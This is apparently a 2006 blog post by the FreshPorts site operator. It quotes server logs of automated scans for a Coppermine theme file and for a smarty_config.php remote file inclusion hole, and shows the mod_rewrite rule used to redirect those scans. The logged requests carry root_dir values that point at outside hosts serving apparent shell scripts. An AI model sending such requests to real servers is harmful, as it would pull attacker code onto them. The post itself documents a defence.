I was getting a lot of these queries:
[Thu Nov 9 00:40:34 2006] [error] [client 72.36.202.166] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
[Thu Nov 9 00:40:34 2006] [error] [client 204.157.11.250] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
[Thu Nov 9 00:40:36 2006] [error] [client 213.148.16.7] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
[Thu Nov 9 00:40:37 2006] [error] [client 72.29.68.123] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
[Thu Nov 9 00:40:37 2006] [error] [client 217.199.191.110] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
[Thu Nov 9 00:40:37 2006] [error] [client 209.59.143.233] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
[Thu Nov 9 00:40:38 2006] [error] [client 209.59.164.98] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
[Thu Nov 9 00:40:41 2006] [error] [client 62.149.140.15] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
[Thu Nov 9 00:40:44 2006] [error] [client 204.157.11.179] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
[Thu Nov 9 00:40:44 2006] [error] [client 200.29.90.110] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php
That’s 10 such queries in ten seconds… That’s, ummm, a lot. It’s just script kiddies looking for something to exploit. I’m tiring of seeing so much crap in my error logs. What do to about it…. Hmmm, let’s redirect them elsewhere, say here, to this article for example. How do I do that? With this Apache mod_rewrite rule:
RewriteRule modules/coppermine http://news.freshports.org/2006/11/09/coppermining/ [R=permanent]
Similary for these queries:
216.169.147.94 - - [09/Nov/2006:14:35:57 -0500] "GET /www/smarty_config.php?root_dir=http://www.shinctl.us/crew/list.txt?? HTTP/1.1" 404 15109 "-" "libwww-perl/5.803"
213.246.63.120 - - [09/Nov/2006:14:36:02 -0500] "GET /www/smarty_config.php?root_dir=http://www.shinctl.us/crew/list.txt?? HTTP/1.1" 404 15108 "-" "libwww-perl/5.79"
217.199.191.110 - - [09/Nov/2006:14:36:04 -0500] "GET /www/smarty_config.php?root_dir=http://www.shinctl.us/crew/list.txt?? HTTP/1.1" 404 15109 "-" "libwww-perl/5.803"
81.169.155.146 - - [09/Nov/2006:14:36:14 -0500] "GET /www/smarty_config.php?root_dir=http://www.shinctl.us/crew/list.txt?? HTTP/1.1" 404 15109 "-" "libwww-perl/5.803"
62.97.109.18 - - [09/Nov/2006:14:36:35 -0500] "GET /www/smarty_config.php?root_dir=http://www.shinctl.us/crew/list.txt?? HTTP/1.1" 404 15109 "-" "libwww-perl/5.79"
72.29.71.211 - - [09/Nov/2006:14:36:48 -0500] "GET /www/smarty_config.php?root_dir=http://www.shinctl.us/crew/list.txt?? HTTP/1.1" 404 15109 "-" "libwww-perl/5.805"
67.43.4.55 - - [09/Nov/2006:14:37:01 -0500] "GET /www/smarty_config.php?root_dir=http://www.shinctl.us/crew/list.txt?? HTTP/1.1" 404 15109 "-" "libwww-perl/5.805"
217.71.208.149 - - [09/Nov/2006:14:41:31 -0500] "GET /www/smarty_config.php?root_dir=http://cmdx2.by.ru/cmd.gif? HTTP/1.1" 404 15081 "-" "libwww-perl/5.803"
72.36.229.82 - - [09/Nov/2006:14:41:46 -0500] "GET /www/smarty_config.php?root_dir=http://siaol.com.ua/c.php.txt? HTTP/1.1" 404 15087 "-" "libwww-perl/5.79"
202.60.74.106 - - [09/Nov/2006:14:42:17 -0500] "GET /www/smarty_config.php?root_dir=http://siaol.com.ua/c.php.txt? HTTP/1.1" 404 15087 "-" "libwww-perl/5.805"
82.150.135.90 - - [09/Nov/2006:14:42:31 -0500] "GET /www/smarty_config.php?root_dir=http://siaol.com.ua/c.php.txt? HTTP/1.1" 404 15086 "-" "libwww-perl/5.76"
204.157.10.109 - - [09/Nov/2006:14:43:25 -0500] "GET /www/smarty_config.php?root_dir=http://siaol.com.ua/c.php.txt? HTTP/1.1" 404 15086 "-" "libwww-perl/5.805"
Those are also redirected to this URL.
Enjoy.
